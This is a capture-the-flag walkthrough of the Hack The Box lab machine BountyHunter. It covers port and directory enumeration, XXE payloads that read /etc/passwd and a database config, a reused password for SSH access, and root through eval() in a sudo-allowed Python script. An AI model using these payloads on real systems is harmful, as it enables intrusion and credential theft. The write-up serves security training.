This post documents the complete walkthrough of BountyHunter, a retired vulnerable VM created by ejedev, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


BountyHunter is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 --rate=500
Starting masscan 1.3.2 ( at 2021-07-26 03:44:42 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on
Discovered open port 80/tcp on

Nothing unusual. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,80 -A --reason -oN nmap.txt
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters

Looks like we only have http to explore. Here’s what it looks like.

Directory/File Enumeration

Let’s see what gobuster and SecLists offer in terms of directory/file enumeration.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -e -t 20 -x php -u
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Expanded:                true
[+] Timeout:                 10s
2021/07/26 04:14:46 Starting gobuster in directory enumeration mode
===============================================================                  (Status: 301) [Size: 310] [-->]               (Status: 301) [Size: 313] [-->]               (Status: 200) [Size: 0]            (Status: 301) [Size: 316] [-->]            (Status: 200) [Size: 25169]           (Status: 200) [Size: 125]                   (Status: 301) [Size: 309] [-->]        (Status: 403) [Size: 277]

2021/07/26 04:15:08 Finished

Bounty Report System - Beta

Navigating to portal.php will lead you to log_submit.php.

This page loads an interesting JS.

function returnSecret(data) {
	return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"

async function bountySubmit() {
	try {
		var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
		let data = await returnSecret(btoa(xml));
	catch(error) {
		console.log('Error:', error);

The following is a empty POST request captured in Burp.

The data parameter carries the base64-encoding of the following XML.

<?xml  version="1.0" encoding="ISO-8859-1"?>

XML External Entity

Since we can control what gets POST‘d to tracker_diRbPr00f314.php with Burp, we might be able to tease out a XXE vulnerability with the following payload.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

Let’s base64-encode and urlencode it.

This is what you get.

Now that we’ve verified that there’s a XXE vulnerability, let’s up the ante in terms of XXE payload.


Let’s see if we can get credentials in db.php obtained from an earlier enumeration with the following payload.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php" >]>

The base64-encoded output is decoded to the following.

// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";

Let’s see if we can log in to development’s SSH account with password (m19RoAU0hP41A1sTsq6K).

Bingo. The file user.txt is in developement’s home directory.

Privilege Escalation

During enumeration of development’s account, I notice that development is able to sudo without password the following.
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
        print("Wrong file type.")

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")

        if x.startswith("__Ticket Code:__"):
            code_line = i+1

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
        print("Invalid ticket.")


This is easy to exploit.

  1. Create a file ending with .md

  2. The first line MUST start with “# Skytrain Inc

  3. The second line MUST start with “## Ticket to XXX”, where XXX can be any string

  4. The third line MUST start with “__Ticket Code:__

  5. The last line MUST start with “**

  6. Finally, in the last line after “**”, the number before + must produce a remainder of 4 when divided by 7, e.g. 4, 11, 18, etc. in order to exploit the built-in function eval().

I humbly suggest the following exploit to destination fucked.
# Skytrain Inc
## Ticket to fucked
__Ticket Code:__

Getting root.txt is trivial with a root shell.